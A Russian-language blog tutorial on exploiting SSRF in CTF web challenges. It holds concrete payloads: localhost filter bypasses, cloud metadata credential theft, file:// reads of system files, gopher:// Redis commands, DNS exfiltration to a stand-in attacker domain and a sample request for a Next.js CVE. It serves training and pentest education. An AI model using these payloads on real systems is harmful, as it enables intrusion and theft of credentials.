Главная / Блог / SSRF уязвимость в CTF: как заставить сервер сходить в интранет и достать флаг

12 мин.00

SSRF уязвимость в CTF: как заставить сервер сходить в интранет и достать флаг

SSRF уязвимость в CTF: как заставить сервер сходить в интранет и достать флаг

SSRF уязвимость в CTF: как заставить сервер сходить в интранет и достать флаг

Три команды на CTF-площадке видят одинаковый web-таск на 300 очков: форма загрузки изображения по URL. Все находят параметр url=, все подставляют http://localhost/flag — все получают 403. Фильтр на строку «localhost». Четыре часа без подвижек. Решает таск одна команда: http://0x7f000001/internal/flag — hex-представление 127.0.0.1, которое фильтр не парсил. Разница между тем, кто понимает механику SSRF, и тем, кто знает одну команду — именно эти четыре часа.

Механика SSRF атаки на веб-приложение

Веб-приложения постоянно ходят за данными на другие серверы: скачивают превью по ссылке, проверяют наличие товара через внутренний API, генерируют PDF из пользовательского HTML. Server-Side Request Forgery (CWE-918 по классификации MITRE) возникает, когда приложение принимает URL от пользователя и обращается по нему без проверки назначения. По определению OWASP A10:2021, SSRF-уязвимости появляются «whenever a web application is fetching a remote resource without validating the user-supplied URL». Примечательный факт: SSRF — единственная категория, добавленная в OWASP Top 10 2021 по результатам community survey, а не на основе данных CVE. Сообщество признало угрозу раньше, чем статистика — и это о многом говорит.

По классификации MITRE CWE-918, последствия эксплуатации бьют по трём направлениям: чтение данных приложения (Confidentiality), выполнение несанкционированных команд (Integrity) и обход механизмов защиты (Access Control). На CTF-языке: через одну SSRF-дыру можно прочитать файл с флагом, достучаться до админ-панели без аутентификации или утянуть IAM-креды облачного инстанса.

Зачем это злоумышленнику за пределами CTF? SSRF превращает уязвимый сервер в прокси для атак на внутреннюю инфраструктуру. Один запрос к metadata-эндпоинту AWS — и у атакующего ключи от всего облачного аккаунта. Так что SSRF в CTF — не абстрактное упражнение, а тренировка навыка, который напрямую транслируется на пентесты реальных систем.

Цепочка атаки по MITRE ATT&CK

В терминах ATT&CK эксплуатация SSRF развивается по предсказуемому сценарию:

  1. Exploit Public-Facing Application (T1190, Initial Access) — находим SSRF в веб-приложении через уязвимый параметр URL.
  2. Network Service Discovery (T1046, Discovery) — сканируем порты на 127.0.0.1 и адреса во внутренних подсетях. По разным HTTP-ответам (200, 403, 500, таймаут) определяем открытые сервисы.
  3. Remote System Discovery (T1018, Discovery) — перебираем хосты в 192.168.x.x, 10.x.x.x, 172.16.x.x, составляя карту внутренней сети.
  4. Cloud Instance Metadata API (T1552.005, Credential Access) — запрашиваем http://169.254.169.254/ и забираем IAM-токены.
  5. Data from Local System (T1005, Collection) — через схему file:// читаем локальные файлы: конфиги, SSH-ключи, флаги.

В CTF обычно хватает первых двух-трёх шагов. В реальных пентестах цепочка длиннее.

Где искать SSRF в CTF таске: разведка поверхности

Параметры URL и HTTP-заголовки

Первое действие — включить Burp Proxy и пройти все страницы приложения. Параметры вида url=, target=, page=, feed=, src=, dest=, redirect=, uri=, callback= — потенциальные точки входа. Далеко не все из них видны в браузере: параметр может прятаться в JSON-теле POST-запроса.

Проверка проста: подставить URL контролируемого сервера — Burp Collaborator или interactsh от ProjectDiscovery (бесплатная альтернатива с открытым кодом). Пришёл callback — SSRF подтверждена. Burp Suite для SSRF-разведки незаменим именно потому, что показывает запросы, невидимые в DevTools.

HTTP-заголовки тоже стоит пощупать. Host, X-Forwarded-For, X-Forwarded-Host, Referer иногда используются приложением для построения внутренних URL. По данным PortSwigger, SSRF через заголовок Referer возникает, когда серверная аналитика обращается по указанному URL для сбора статистики. Расширение Collaborator Everywhere для Burp Suite автоматически внедряет payload-заголовки во все запросы и фиксирует out-of-band взаимодействие — удобная штука, экономит кучу ручной работы.

PDF-генераторы и HTML-рендеры

Если приложение генерирует PDF из пользовательского ввода — счёт, визитка, резюме — HTML-инъекция через <iframe src="http://127.0.0.1/flag"> может превратиться в полноценную SSRF. Движки типа wkhtmltopdf, Puppeteer, WeasyPrint обрабатывают HTML как браузер: загружают внешние ресурсы, резолвят внутренние адреса.

В CTF это встречается в задачах с «конвертором Markdown в PDF» или «генератором отчётов». Подставить <img src="http://127.0.0.1:8080/secret"> в поле ввода — и если движок не изолирован, содержимое внутреннего сервиса окажется прямо в PDF-файле. URL внутри форматов данных (XML, SVG, HTML-шаблоны) — одна из тех поверхностей атаки, которую легко пропустить, а авторы тасков этим пользуются.

Базовая эксплуатация SSRF: доступ к внутреннему сервису через localhost

Самый прямолинейный сценарий — обращение к 127.0.0.1. Внутренние сервисы часто слушают на loopback-интерфейсе и доверяют запросам с этого адреса без аутентификации.

Почему так происходит: - контроль доступа реализован на уровне reverse proxy, а не самого приложения — запрос с localhost обходит проверку; - для disaster recovery оставлен административный доступ без логина с localhost (классика — «потом уберём»); - админ-интерфейс слушает на отдельном порту, недоступном напрямую из внешней сети.

Что проверять при эксплуатации SSRF на практике: - http://127.0.0.1/ и http://localhost/ — корень веб-сервера - /admin, /flag, /flag.txt, /secret, /internal/api — типичные CTF-эндпоинты - Порты :8080, :3000, :5000, :6379, :9200, :27017 — Jenkins, Express, Flask, Redis, Elasticsearch, MongoDB

Порт-сканирование через SSRF работает даже когда содержимое ответа не возвращается. Разные HTTP-коды или разница во времени ответа позволяют определить открытые порты — это Network Service Discovery (T1046). В Burp Intruder задаёте список портов как payload и сортируете по времени или длине ответа. Помимо localhost пробуйте обращения к хостам во внутренней сети: http://192.168.0.1/, http://10.0.0.1/. CTF-задание может эмулировать несколько хостов, где флаг лежит на смежном сервере.

Обход фильтров SSRF: техники bypass url parsing

Если авторы таска заблокировали прямой http://localhost — тут-то и начинается самое интересное. Обход фильтров SSRF требует понимания того, как конкретный парсер обрабатывает URL. А парсеров — зоопарк.

SSRF localhost bypass через альтернативные представления IP

Blacklist-фильтр проверяет строки «localhost» и «127.0.0.1» простым сравнением. Обход — альтернативные записи того же адреса:

Представление Пример URL Почему работает
Сокращённое http://127.1 Валидная запись IPv4
Hex http://0x7f000001 Парсер не конвертирует hex в IP
Decimal http://2130706433 Число = 127.0.0.1 в integer
Octal http://017700000001 Восьмеричная нотация
IPv6 http://[::1] Loopback в IPv6
Нулевой адрес http://0 На многих системах = 127.0.0.1
Wildcard DNS http://127.0.0.1.nip.io DNS-сервис, резолвящий IP из имени

Обфускация через URL-encoding тоже работает: %31%32%37%2e%30%2e%30%2e%31 — это 127.0.0.1 после URL-decode. Double-encoding (%2531%2532%2537...) помогает, когда фильтр декодирует URL один раз, а HTTP-клиент — дважды. На практике я обычно прогоняю весь список сверху вниз — какой-нибудь вариант да проскочит.

Whitelist-обходы: SSRF bypass url parsing

Whitelist-фильтр разрешает URL только с определённым доменом. URL-спецификация содержит несколько особенностей, которые можно эксплуатировать при обходе валидации:

Credentials через @. URL https://expected-host:fakepass@evil-host — парсер может считать expected-host частью credentials (username:password), а реальный хост — evil-host. В CTF часто работает http://allowed-domain@127.0.0.1/flag.

Фрагмент через #. URL https://evil-host#expected-host — фильтр видит expected-host в строке, но запрос уходит на evil-host. Зависит от реализации: одни парсеры обрезают фрагмент до проверки, другие — после.

DNS-иерархия. https://expected-host.evil-host — required input встроен в FQDN, но DNS резолвит домен на контролируемый IP.

Эти техники комбинируются. http://allowed@127.0.0.1:8080/flag — фильтр видит allowed в начале, HTTP-клиент интерпретирует его как username и обращается к 127.0.0.1. Красота.

Open redirect как трамплин для SSRF

Если в приложении есть open redirect — /redirect?url=http://evil.com — его можно использовать для обхода SSRF-фильтра:

  1. Фильтр проверяет, что URL начинается с https://app.example.com
  2. Подставляется https://app.example.com/redirect?url=http://127.0.0.1/flag
  3. Фильтр пропускает — домен «свой»
  4. Сервер идёт по URL, получает 302 на http://127.0.0.1/flag
  5. HTTP-клиент следует за редиректом и возвращает содержимое внутреннего ресурса

Смена протокола при редиректе (с http: на https:) может обойти anti-SSRF фильтры, которые проверяют протокол только в исходном URL. В CTF-тасках open redirect часто является частью задуманной цепочки — авторы оставляют его специально. Если видите open redirect рядом с SSRF — это не совпадение.

SSRF cloud metadata: кража IAM-токенов

Если CTF-задача развёрнута на AWS EC2 или эмулирует облачную среду, metadata endpoint — главная цель. По адресу http://169.254.169.254/latest/meta-data/ сервер возвращает информацию об инстансе, а по пути /latest/meta-data/iam/security-credentials/ — названия IAM-ролей. Запросив полный путь с именем роли, получаете JSON с AccessKeyId, SecretAccessKey и Token. Это техника Cloud Instance Metadata API (T1552.005 по MITRE ATT&CK).

В Atomic Red Team есть готовый тест для проверки этого вектора: «AWS - Retrieve EC2 IAM Role Credentials via IMDSv2» — shell-скрипт для Linux-инстансов AWS. В CTF полученных ключей достаточно для аутентификации через AWS CLI (aws configure) и доступа к S3-бакетам, DynamoDB или Lambda, где лежит флаг.

Нюанс, о который спотыкаются многие: AWS ввёл IMDSv2, который требует предварительного PUT-запроса с заголовком X-aws-ec2-metadata-token-ttl-seconds для получения session token. Если SSRF-уязвимость позволяет контролировать только URL (без произвольных заголовков и метода), IMDSv2 блокирует атаку. В CTF-задачах часто эмулируется IMDSv1 без этого ограничения — но проверить стоит.

GCP использует другой endpoint: http://metadata.google.internal/computeMetadata/v1/ с обязательным заголовком Metadata-Flavor: Google. Если SSRF позволяет контролировать заголовки — GCP metadata тоже доступен.

Blind SSRF в CTF: когда ответ не виден

Не все SSRF-уязвимости возвращают содержимое ответа. Blind SSRF — ситуация, когда сервер выполняет запрос, но показывает одинаковый результат вне зависимости от того, что вернул внутренний сервис. «Изображение загружено» — и всё. Тишина.

Out-of-band взаимодействие. Подставляете URL контролируемого сервера (interactsh, Burp Collaborator) и проверяете входящие DNS/HTTP-запросы. Callback пришёл — SSRF подтверждена, даже если ответ не виден. Дальше эксфильтрация данных идёт через DNS: вставляете чувствительные данные в поддомен (например, <secret-data>.attacker.com), и DNS-лог фиксирует утечку. Грязно, но работает.

Timing-based обнаружение. Обращение к открытому порту — ответ за 200ms. К закрытому — таймаут 10s. Разница позволяет составить карту открытых портов через Burp Intruder: задаёте список портов как payload в URL и сортируете результаты по времени ответа.

DNS rebinding. Настраиваете DNS-сервер, который при первом запросе резолвит имя в «безопасный» IP, а при повторном — в 127.0.0.1. Фильтр проверяет DNS при валидации, получает разрешённый адрес и пропускает. HTTP-клиент резолвит DNS заново при выполнении запроса и попадает на localhost. Для генерации rebinding-доменов есть сервис lock.cmpxchg8b.com/rebinder.html (по данным SSRF Cheat Sheet от highon.coffee). Минус: IP «прыгает» между двумя значениями — может потребоваться несколько попыток, так что запаситесь терпением.

gopher:// и другие протоколы: SSRF payload для Redis

HTTP — не единственный протокол для SSRF. Если HTTP-клиент на стороне сервера поддерживает другие схемы URL, открываются куда более серьёзные вектора атаки.

file:// — чтение локальных файлов. file:///etc/passwd, file:///proc/self/environ (переменные окружения — иногда там валяются секреты и API-ключи), file:///app/flag.txt. Это техника Data from Local System (T1005). В CTF проверяйте файлы конфигурации приложения: .env, config.py, application.yml.

gopher:// — отправка произвольных TCP-данных. Это, пожалуй, самый мощный SSRF payload, потому что через gopher можно формировать полноценные запросы к Redis, Memcached, MySQL, SMTP. Формат: gopher://127.0.0.1:6379/_<url-encoded-redis-commands>. Инструмент Gopherus генерирует gopher-пейлоады для популярных сервисов, экономя время на ручной URL-encoding TCP-данных.

dict:// — позволяет отправить одну строку на TCP-порт: dict://127.0.0.1:6379/INFO. Менее гибкий, чем gopher, но работает, когда gopher заблокирован.

Доступные URL-схемы зависят от языка (по данным SSRF Cheat Sheet от highon.coffee): - PHP с cURL: gopher://, dict://, file://, ftp:// - Java: file://, ftp://, jar:// (OpenJDK 8+ не следует за редиректами при смене протокола) - cURL: поддерживает весь набор схем

В CTF-задачах на gopher:// обычно нужно добраться до Redis, прочитать ключ с флагом командой GET flag или записать веб-шелл через SET. На бумаге формула понятна, но gopher-пейлоад по-настоящему ощущается только когда руками собираешь URL-encoded TCP-поток и видишь, как Redis отвечает через SSRF. Тот самый момент, когда «ну вот оно заработало».

CVE-2025-57822: SSRF в Next.js middleware — разбор кейса

CVE-2025-57822 — SSRF в Next.js до версий 14.2.32 и 15.4.7. По данным NVD: CVSS 6.5 (MEDIUM), вектор CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N. Корневая проблема — CWE-918 (Server-Side Request Forgery). По данным OSV.dev, уязвимость затрагивает пакет next начиная с версии 0.9.9 и исправлена в 14.2.32.

Суть: когда в middleware вызов next() происходит без явной передачи объекта request, пользовательские заголовки пробрасываются на сервер некорректно. Передача заголовка Location в запросе вызывает серверный редирект к произвольному URL. Три строчки в middleware — полноценная SSRF.

Сложность атаки помечена как High (AC:H) — нужна специфическая конфигурация middleware. CISA классифицирует уязвимость как Track (мониторить): эксплуатация none, автоматизация no, технический импакт partial. EPSS = 0.0249 (перцентиль 83.5%) — выше медианы, но не в зоне активной эксплуатации. В CTF авторы задачи гарантируют наличие уязвимой конфигурации, что упрощает дело.

PoC из write-up'ов:

GET /?utm_source=meta HTTP/2
Host: challenge.ctf.example
Location: http://localhost:8080/flag

Middleware обрабатывает UTM-параметр и вызывает next() без передачи request — заголовок Location пробрасывается, сервер выполняет внутренний редирект и возвращает содержимое. Для эскалации: через перебор портов в заголовке Location (с помощью ffuf или Burp Intruder) можно обнаружить внутренние сервисы — Jenkins, Redis, административные API. Nuclei-шаблон для автоматического обнаружения CVE-2025-57822 уже доступен в репозитории ProjectDiscovery.

Этот кейс показывает, почему чтение исходников middleware — обязательный шаг в CTF, а не опциональный. Разработчик напишет next() без аргументов не задумываясь. Пентестер найдёт это за пять минут.

Чеклист: пошаговая эксплуатация SSRF в CTF

Порядок действий на каждом web-таске с подозрением на SSRF:

  1. Разведка (60 секунд). Burp Proxy включён, пройти все страницы, найти параметры с URL. Проверить JSON-тела POST-запросов — браузер их не покажет.

  2. Подтверждение. Подставить URL interactsh-сервера. Callback пришёл — SSRF есть. Нет — проверить заголовки (Host, X-Forwarded-Host, Referer), PDF-генераторы, XML/SVG-парсеры.

  3. Базовая эксплуатация. http://127.0.0.1/flag.txt, http://localhost/admin. Ответ виден — забрать данные. Не виден — blind-техники.

  4. Обход фильтров. Localhost заблокирован — перебрать hex (0x7f000001), decimal (2130706433), IPv6 ([::1]), сокращённые (127.1), @-трюк, open redirect.

  5. Порт-сканирование. Перебрать порты через Burp Intruder: 80, 3000, 5000, 8080, 6379, 9200, 27017. Сортировать по времени ответа.

  6. Протоколы. file:///etc/passwd, file:///proc/self/environ, file:///app/flag.txt. Если gopher поддерживается — Gopherus для Redis/Memcached.

  7. Cloud metadata. http://169.254.169.254/latest/meta-data/. IAM-ключи → AWS CLI.

  8. Чейнинг. SSRF редко бывает финальной целью. Полученный доступ — трамплин: credentials в конфигах, RCE через внутренний сервис, исходники приложения.

Разница между 200-очковым и 500-очковым SSRF-таском — количество фильтров и глубина чейнинга. Механика одна.


SSRF — уязвимость, которую CTF-авторы обожают за то, что она проверяет не знание конкретного инструмента, а понимание HTTP-стека. Каждый фреймворк добавляет свой парсер URL, свой HTTP-клиент, свои middleware-хуки — и каждый из них может обработать http://0x7f000001 иначе. CVE-2025-57822 в Next.js тому подтверждение: middleware без передачи request-объекта в next() — три строчки, которые разработчик напишет на автопилоте.

Что я наблюдаю на соревнованиях: большинство команд останавливаются на первом 403 при попытке обращения к localhost. «Фильтр сработал — не SSRF.» А на деле фильтр — это подтверждение уязвимости. Разработчик поставил его именно потому, что знает: без фильтра тут дыра. Задача игрока — найти представление URL, которое фильтр не учёл. А их десятки. Какой-нибудь да проскочит.

Ещё одна закономерность: таски с gopher:// и blind SSRF решаются значительно реже стандартных. Не потому что технически сложнее — просто 80% участников не пробуют протоколы за пределами HTTP и не знают про Gopherus. Gopher-пейлоад для Redis — 30 секунд на генерацию, но подавляющее большинство даже не пытается. На WAPT эту цепочку проходят в течение двух модулей с лабами.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...